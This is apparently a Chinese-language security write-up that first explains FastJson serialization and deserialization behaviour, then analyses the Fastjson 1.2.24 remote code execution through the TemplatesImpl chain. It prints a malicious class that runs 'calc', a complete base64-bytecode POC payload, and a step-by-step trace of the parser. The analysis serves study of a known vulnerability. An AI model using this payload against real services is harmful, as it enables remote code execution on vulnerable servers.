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FastJson介绍&入门

FastJson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将Java Bean序列化为JSON字符串，也可以从JSON字符串反序列化到Java Bean。

序列化

序列化的函数为JSON.toJSONString

User.java

import java.util.Properties;

public class User {
    public String name1; //public且有get set
    public String name2; //public且有get
    public String name3; //public且有set
    public String name4; //仅仅public

    private String age1; //private且有get set
    private String age2; //private且有get
    private String age3; //private且有set
    private String age4; //仅仅private

    public Properties prop1_1;   //public且有get set
    public Properties prop1_2;   //public且有get
    public Properties prop1_3;   //public且有set
    public Properties prop1_4;   //仅仅public

    private Properties prop2_1;   //private且有get set
    private Properties prop2_2;   //private且有get
    private Properties prop2_3;   //private且有set
    private Properties prop2_4;   //仅仅private

    @Override
    public String toString() {
        return "User{" +
                "name1='" + name1 + '\'' +
                ", name2='" + name2 + '\'' +
                ", name3='" + name3 + '\'' +
                ", name4='" + name4 + '\'' +
                ", age1='" + age1 + '\'' +
                ", age2='" + age2 + '\'' +
                ", age3='" + age3 + '\'' +
                ", age4='" + age4 + '\'' +
                ", prop1_1=" + prop1_1 +
                ", prop1_2=" + prop1_2 +
                ", prop1_3=" + prop1_3 +
                ", prop1_4=" + prop1_4 +
                ", prop2_1=" + prop2_1 +
                ", prop2_2=" + prop2_2 +
                ", prop2_3=" + prop2_3 +
                ", prop2_4=" + prop2_4 +
                '}';
    }

    public void setProp1_3(Properties prop1_3) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.prop1_3 = prop1_3;
    }

    public void setProp2_3(Properties prop2_3) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.prop2_3 = prop2_3;
    }

    public Properties getProp1_2() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return prop1_2;
    }

    public Properties getProp2_2() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return prop2_2;
    }

    public Properties getProp1_1() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return prop1_1;
    }

    public void setProp1_1(Properties prop1_1) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.prop1_1 = prop1_1;
    }

    public Properties getProp2_1() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return prop2_1;
    }

    public void setProp2_1(Properties prop2_1) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.prop2_1 = prop2_1;
    }

    public String getName1() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return name1;
    }

    public void setName1(String name1) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.name1 = name1;
    }

    public String getAge1() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return age1;
    }

    public void setAge1(String age1) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.age1 = age1;
    }


    public String getName2() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return name2;
    }

    public String getAge2() {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        return age2;
    }

    public void setName3(String name3) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.name3 = name3;
    }

    public void setAge3(String age3) {
        String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
        System.out.println(methodName + "() is called");
        this.age3 = age3;
    }



    public User() {
        this.name1 = "rai4over1";
        this.name2 = "rai4over2";
        this.name3 = "rai4over3";
        this.name4 = "rai4over4";

        this.age1 = "a1";
        this.age2 = "a2";
        this.age3 = "a3";
        this.age4 = "a4";

        prop1_1 = new Properties();
        prop1_2 = new Properties();
        prop1_3 = new Properties();
        prop1_4 = new Properties();

        prop1_1.put("prop1_1", "1_1");
        prop1_2.put("prop1_2", "1_2");
        prop1_3.put("prop1_3", "1_3");
        prop1_4.put("prop1_4", "1_4");


        prop2_1 = new Properties();
        prop2_2 = new Properties();
        prop2_3 = new Properties();
        prop2_4 = new Properties();

        prop2_1.put("prop2_1", "2_1");
        prop2_2.put("prop2_2", "2_2");
        prop2_3.put("prop2_3", "2_3");
        prop2_4.put("prop2_4", "2_4");

        System.out.println("User init() is called");
    }
}

该类中使用无参数构造函数初始化成员，包含16个成员,分别为String 、Properties两种类型，并被public、private修饰的，并且对应的get、set方法有所不同形成对比，以探究具体的调用情况。

非自省

常用的方式为：

public static String toJSONString(Object object)

Test.java

import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        User a = new User();
        System.out.println("===========================");
        String jsonstr_a = JSON.toJSONString(a);
    }
}

运行结果：

User init() is called
===========================
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
getProp1_1() is called
getProp1_2() is called
getProp2_1() is called
getProp2_2() is called
{
    "age1": "a1",
    "age2": "a2",
    "name1": "rai4over1",
    "name2": "rai4over2",
    "name3": "rai4over3",
    "name4": "rai4over4",
    "prop1_1": {
        "prop1_1": "1_1"
    },
    "prop1_2": {
        "prop1_2": "1_2"
    },
    "prop1_3": {
        "prop1_3": "1_3"
    },
    "prop1_4": {
        "prop1_4": "1_4"
    },
    "prop2_1": {
        "prop2_1": "2_1"
    },
    "prop2_2": {
        "prop2_2": "2_2"
    }
}

可以发现在序列化时，FastJson会调用成员对应的get方法，被private修饰且没有get方法的成员不会被序列化，被public修饰的成员都会被序列化，并且序列化的结果是标准的JSON字符串。

自省

JSON标准是不支持自省的，也就是说根据JSON文本，不知道它包含的对象的类型。

FastJson支持自省，在序列化时传入类型信息SerializerFeature.WriteClassName，可以得到能表明对象类型的JSON文本。

FastJson的漏洞就是由于这个功能引起的。

使用方式

public static String toJSONString(Object object, SerializerFeature... features)

Test.java

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
    public static void main(String[] args) {
        User a = new User();
        System.out.println("===========================");
        String jsonstr_a = JSON.toJSONString(a, SerializerFeature.WriteClassName);
    }
}

运行结果：

User init() is called
===========================
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
getProp1_1() is called
getProp1_2() is called
getProp2_1() is called
getProp2_2() is called
{
    "@type": "User",
    "age1": "a1",
    "age2": "a2",
    "name1": "rai4over1",
    "name2": "rai4over2",
    "name3": "rai4over3",
    "name4": "rai4over4",
    "prop1_1": {
        "@type": "java.util.Properties",
        "prop1_1": "1_1"
    },
    "prop1_2": {
        "@type": "java.util.Properties",
        "prop1_2": "1_2"
    },
    "prop1_3": {
        "@type": "java.util.Properties",
        "prop1_3": "1_3"
    },
    "prop1_4": {
        "@type": "java.util.Properties",
        "prop1_4": "1_4"
    },
    "prop2_1": {
        "@type": "java.util.Properties",
        "prop2_1": "2_1"
    },
    "prop2_2": {
        "@type": "java.util.Properties",
        "prop2_2": "2_2"
    }
}

结果和上文相同，JSON字符串中新增@type字段名，用来表明指定反序列化的目标对象类型为User

　反序列化

反序列化的函数为JSON.parseObject

非自省

使用方式

public static <T> T parseObject(String text, Class<T> clazz)

需要在JSON.parseObject中传入Class<T> clazz

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
    public static void main(String[] args) {
        String jsonstr_a = "{\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"},\"prop2_3\":{\"prop2_3\":\"2_3\"},\"prop2_4\":{\"prop2_4\":\"2_4\"}}";
        System.out.println(jsonstr_a);
        System.out.println("===========================");
        User b = JSON.parseObject(jsonstr_a, User.class);
        System.out.println(b);  
    }
}

运行结果：

{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"prop1_1":"1_1"},"prop1_2":{"prop1_2":"1_2"},"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"prop2_1":{"prop2_1":"2_1"},"prop2_2":{"prop2_2":"2_2"},"prop2_3":{"prop2_3":"2_3"},"prop2_4":{"prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3={prop2_3=2_3}, prop2_4=null}

在反序列化时，String类型会调用了全部的setter，但还额外调用了getProp2_2。publibc修饰的成员全部赋值，private修饰的成员则为NULL。

自省

JSON.parseObject除了传入Class<T> clazz非自省反序列化，也同样有自省反序列化

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
    public static void main(String[] args) {

        String jsonstr_a = "{\"@type\":\"User\",\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"},\"prop2_3\":{\"@type\":\"java.util.Properties\",\"prop2_3\":\"2_3\"},\"prop2_4\":{\"@type\":\"java.util.Properties\",\"prop2_4\":\"2_4\"}}";
        System.out.println(jsonstr_a);
        System.out.println("===========================");
        //User b = JSON.parseObject(jsonstr_a, User.class);
        JSONObject b = JSON.parseObject(jsonstr_a);
        //Object b = JSON.parse(jsonstr_a);
        System.out.println(b);
    }

}

运行结果

{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"@type":"java.util.Properties","prop1_1":"1_1"},"prop1_2":{"@type":"java.util.Properties","prop1_2":"1_2"},"prop1_3":{"@type":"java.util.Properties","prop1_3":"1_3"},"prop1_4":{"@type":"java.util.Properties","prop1_4":"1_4"},"prop2_1":{"@type":"java.util.Properties","prop2_1":"2_1"},"prop2_2":{"@type":"java.util.Properties","prop2_2":"2_2"},"prop2_3":{"@type":"java.util.Properties","prop2_3":"2_3"},"prop2_4":{"@type":"java.util.Properties","prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
getAge1() is called
getAge2() is called
getName1() is called
getName2() is called
getProp1_1() is called
getProp1_2() is called
getProp2_1() is called
getProp2_2() is called
{"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"name4":"rai4over4","prop1_1":{"prop1_1":"1_1"},"name3":"rai4over3","prop1_2":{"prop1_2":"1_2"},"prop2_1":{"prop2_1":"2_1"},"name2":"rai4over2","name1":"rai4over1","age1":"a1"}

调用了全部的getter方法，setter方法全部调用，但getProp2_2额外调用一次（共调用了两次）。

使用JSON.parse函数也同样能进行反序列化。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Test {
    public static void main(String[] args) {
        String jsonstr_a = "{\"@type\":\"User\",\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"@type\":\"java.util.Properties\",\"prop1_1\":\"1_1\"},\"prop1_2\":{\"@type\":\"java.util.Properties\",\"prop1_2\":\"1_2\"},\"prop1_3\":{\"@type\":\"java.util.Properties\",\"prop1_3\":\"1_3\"},\"prop1_4\":{\"@type\":\"java.util.Properties\",\"prop1_4\":\"1_4\"},\"prop2_1\":{\"@type\":\"java.util.Properties\",\"prop2_1\":\"2_1\"},\"prop2_2\":{\"@type\":\"java.util.Properties\",\"prop2_2\":\"2_2\"},\"prop2_3\":{\"@type\":\"java.util.Properties\",\"prop2_3\":\"2_3\"},\"prop2_4\":{\"@type\":\"java.util.Properties\",\"prop2_4\":\"2_4\"}}";
        System.out.println(jsonstr_a);
        System.out.println("===========================");
        //User b = JSON.parseObject(jsonstr_a, User.class);
        //JSONObject b = JSON.parseObject(jsonstr_a);
        //User b = JSON.parseObject(jsonstr_a);
        Object b = JSON.parse(jsonstr_a);
        System.out.println(b);
    }
}

运行结果：

{"@type":"User","age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"@type":"java.util.Properties","prop1_1":"1_1"},"prop1_2":{"@type":"java.util.Properties","prop1_2":"1_2"},"prop1_3":{"@type":"java.util.Properties","prop1_3":"1_3"},"prop1_4":{"@type":"java.util.Properties","prop1_4":"1_4"},"prop2_1":{"@type":"java.util.Properties","prop2_1":"2_1"},"prop2_2":{"@type":"java.util.Properties","prop2_2":"2_2"},"prop2_3":{"@type":"java.util.Properties","prop2_3":"2_3"},"prop2_4":{"@type":"java.util.Properties","prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='null', age3='a3', age4='null', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3={prop2_3=2_3}, prop2_4=null}

反序列化时的getter、setter调用情况和非自省的一样，getProp2_2额外调用一次。

Feature.SupportNonPublicField

对于没有set方法的private成员，反序列化时传递Feature.SupportNonPublicField 即可完成赋值。

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class Test {
    public static void main(String[] args) {
        String jsonstr_a = "{\"age1\":\"a1\",\"age2\":\"a2\",\"age3\":\"a3\",\"age4\":\"a4\",\"name1\":\"rai4over1\",\"name2\":\"rai4over2\",\"name3\":\"rai4over3\",\"name4\":\"rai4over4\",\"prop1_1\":{\"prop1_1\":\"1_1\"},\"prop1_2\":{\"prop1_2\":\"1_2\"},\"prop1_3\":{\"prop1_3\":\"1_3\"},\"prop1_4\":{\"prop1_4\":\"1_4\"},\"prop2_1\":{\"prop2_1\":\"2_1\"},\"prop2_2\":{\"prop2_2\":\"2_2\"},\"prop2_3\":{\"prop2_3\":\"2_3\"},\"prop2_4\":{\"prop2_4\":\"2_4\"}}";
        System.out.println(jsonstr_a);
        System.out.println("===========================");
        User b = JSON.parseObject(jsonstr_a, User.class, Feature.SupportNonPublicField);
        System.out.println(b);
    }
}

运行结果：

{"age1":"a1","age2":"a2","age3":"a3","age4":"a4","name1":"rai4over1","name2":"rai4over2","name3":"rai4over3","name4":"rai4over4","prop1_1":{"prop1_1":"1_1"},"prop1_2":{"prop1_2":"1_2"},"prop1_3":{"prop1_3":"1_3"},"prop1_4":{"prop1_4":"1_4"},"prop2_1":{"prop2_1":"2_1"},"prop2_2":{"prop2_2":"2_2"},"prop2_3":{"prop2_3":"2_3"},"prop2_4":{"prop2_4":"2_4"}}
===========================
User init() is called
setAge1() is called
setAge3() is called
setName1() is called
setName3() is called
setProp1_1() is called
setProp1_3() is called
setProp2_1() is called
getProp2_2() is called
setProp2_3() is called
User{name1='rai4over1', name2='rai4over2', name3='rai4over3', name4='rai4over4', age1='a1', age2='a2', age3='a3', age4='a4', prop1_1={prop1_1=1_1}, prop1_2={prop1_2=1_2}, prop1_3={prop1_3=1_3}, prop1_4={prop1_4=1_4}, prop2_1={prop2_1=2_1}, prop2_2=null, prop2_3={prop2_3=2_3}, prop2_4={prop2_4=2_4}}

结论

根据几种输出的结果，可以得到每种调用方式的特点：

  • parseObject(String text, Class<T> clazz) ，构造方法 + setter + 满足条件额外的getter
  • JSONObject parseObject(String text)，构造方法 + setter + getter + 满足条件额外的getter
  • parse(String text)，构造方法 + setter + 满足条件额外的getter

Fastjson 1.2.24 远程代码执行&&TemplatesImpl 利用链

FastJson在1.2.22 - 1.2.24 版本中存在反序列化漏洞，主要原因FastJson支持的两个特性：

  • fastjson反序列化时，JSON字符串中的@type字段，用来表明指定反序列化的目标恶意对象类。
  • fastjson反序列化时，字符串时会自动调用恶意对象的构造方法，set方法，get方法，若这类方法中存在利用点，即可完成漏洞利用。

主要存在两种利用方式：

  • JdbcRowSetImpl(JNDI)
  • TemplatesImpl(Feature.SupportNonPublicField)

先讨论TemplatesImpl利用链

漏洞测试环境

  • Windows
  • Java(TM) SE Runtime Environment (build 1.8.0_112-b15)
  • fastjson 1.2.24
  • JSON.parseObject(payload, Feature.SupportNonPublicField);

恶意对象类：

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;


public class poc_1 extends AbstractTranslet {
    public poc_1() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static void main(String[] args) throws Exception {
        poc_1 t = new poc_1();
    }
}

javac编译成字节码，然后对字节码继续宁base64编码填充POC的_bytecodes字段。

POC：

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class java1_2_25 {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAKcG9jXzEuamF2YQwACAAJBwAhDAAiACMBAARjYWxjDAAkACUBAAVwb2NfMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAJAAQACgANAAsADAAAAAQAAQANAAEADgAPAAEACgAAABkAAAAEAAAAAbEAAAABAAsAAAAGAAEAAAAOAAEADgAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAARAAwAAAAEAAEAEQAJABIAEwACAAoAAAAlAAIAAgAAAAm7AAVZtwAGTLEAAAABAAsAAAAKAAIAAAATAAgAFAAMAAAABAABABQAAQAVAAAAAgAW\"],'_name':'c.c','_tfactory':{ },\"_outputProperties\":{},\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";
        JSON.parseObject(payload, Feature.SupportNonPublicField);
    }
}

浅析POC

POC中的利用链TemplatesImpl类的中的绝大多数成员变量是被private修饰，影响漏洞的主要是_bytecodes 和 _outputProperties 两个成员变量。因此在使用JSON.parseObject时需要传入Feature.SupportNonPublicField。

  • @type ：反序列化的恶意目标类型TemplatesImpl，FastJson最终会按照这个类反序列化得到实例

  • _bytecodes：继承AbstractTranslet 类的恶意类字节码，使用Base64编码。

  • _outputProperties：TemplatesImpl反序列化过程中会调用getOutputProperties 方法，导致bytecodes字节码成功实例化，造成命令执行。

  • _name：调用getTransletInstance 时会判断其是否为null，为null直接return，不会进入到恶意类的实例化过程；

  • _tfactory：defineTransletClasses 中会调用其getExternalExtensionsMap 方法，为null会出现异常；

利用链流程分析

com.alibaba.fastjson.JSON#parseObject(java.lang.String, com.alibaba.fastjson.parser.Feature...)

parseObject会还是会调用parse，一路跟还是到parse

com.alibaba.fastjson.JSON#parse(java.lang.String, int)

创建了类型为DefaultJSONParser的parser变量，跟进该类的创建

com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.String, com.alibaba.fastjson.parser.ParserConfig, int)

调用了另一个构造函数，并传入了JSONScanner类的实例用于词法解析。

com.alibaba.fastjson.parser.DefaultJSONParser#DefaultJSONParser(java.lang.Object, com.alibaba.fastjson.parser.JSONLexer, com.alibaba.fastjson.parser.ParserConfig)

对JSON字符串的开头进行解析，发现是{开头，设置对应的token。

此时变量内容如下，继续跟进parser.parse()到关键点

com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object)

这里会根据前面的初始化lexer.token()为12，进入了对应的case分支，调用parseObject

@type字段

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)

scanSymbol函数从JSON文本中解析出@type键名

根据@type进入相对的分支，并使用scanSymbol函数解析出com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl键值

com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader)

调用TypeUtils.loadClass加载恶意利用类并存入clazz。

将clazz传入config.getDeserializer并继续跟进到关键位置。

com.alibaba.fastjson.util.JavaBeanInfo#build

通过反射获取类中的全部方法，此时的调用栈为：

build:130, JavaBeanInfo (com.alibaba.fastjson.util)
createJavaBeanDeserializer:526, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:461, ParserConfig (com.alibaba.fastjson.parser)
getDeserializer:312, ParserConfig (com.alibaba.fastjson.parser)
parseObject:367, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

然后通过三个for循环筛选出符合条件的方法存入fieldList

筛选部分代码如下

满足条件的setter：

  • 函数名长度大于4且以set开头
  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter：

  • 函数名长度大于等于4
  • 非静态方法
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

可以看到有三个符合条件，最后作为参数传入JavaBeanInfo类的实例。

执行并返回到上层，并进入关键的函数deserializer.deserialze

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)

_bytecodes字段

在解析处理@type字段的目标类后，通过for循环处理JSON文本中剩下的键值对，通过scanSymbol函数获取下个键名

最先获取到的是_bytecodes，作为参数传递parseField函数

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#parseField

这里调用函数smartMatch处理键名，跟踪该函数

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch

将键名传入了getFieldDeserializer函数，跟踪该函数

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#getFieldDeserializer

会将键名和之前筛选的出的三个方法名称进行比较，_bytecodes不满足条件因此会返回null，并返回到smartMatch函数中

因为fieldDeserializer结果为null，会进入分支并去掉原键名中的-、删除开头的下划线等。

键名为_bytecodes时，处理后变为bytecodes，并再次调用getFieldDeserializer进行对比，但bytecodes依然会返回null。

再此分支创建对DefaultFieldDeserializer类型的fieldDeserializer进行赋值，并调用fieldDeserializer.parseField函数

com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer#parseField

然后调用fieldValueDeserilizer.deserialze函数对_bytecodes进行base64解码并赋值给value，这就是为什么POC中的_bytecodes包含的字节码需要base64编码。

com.alibaba.fastjson.parser.JSONScanner#bytesValue

`base64解码调用过程比较冗长，直接列出调用栈信息

decodeBase64:478, IOUtils (com.alibaba.fastjson.util)
bytesValue:112, JSONScanner (com.alibaba.fastjson.parser)
deserialze:136, ObjectArrayCodec (com.alibaba.fastjson.serializer) [2]
parseArray:723, DefaultJSONParser (com.alibaba.fastjson.parser)
deserialze:177, ObjectArrayCodec (com.alibaba.fastjson.serializer) [1]
parseField:71, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

继续调用setValue

com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(java.lang.Object, java.lang.Object)

将解码后的内容设置到对象中，此时的调用栈信息

setValue:137, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:193, JSON (com.alibaba.fastjson)
parseObject:197, JSON (com.alibaba.fastjson)
main:13, java1_2_25

层层返回

执行到deserialze:614, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)跳出当前循环，进入外部的下一次的for循环deserialze:349, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

_outputProperties字段

在大循环中JSON文本中的每个键值对都会进行分析处理，继续分析关键的outputProperties流程

deserialze:474, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)

然后将键名_outputProperties传入smartMatch，下划线会被去掉变为key2，符合sortedFieldDeserializers中的三个元素，返回fieldDeserializer。

POC中键名为outputProperties也是可以的，smartMatch(key)就能返回fieldDeserializer，一路步进至setValue处。

这里会利用反射调用outputProperties的get方法public synchronized java.util.Properties com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

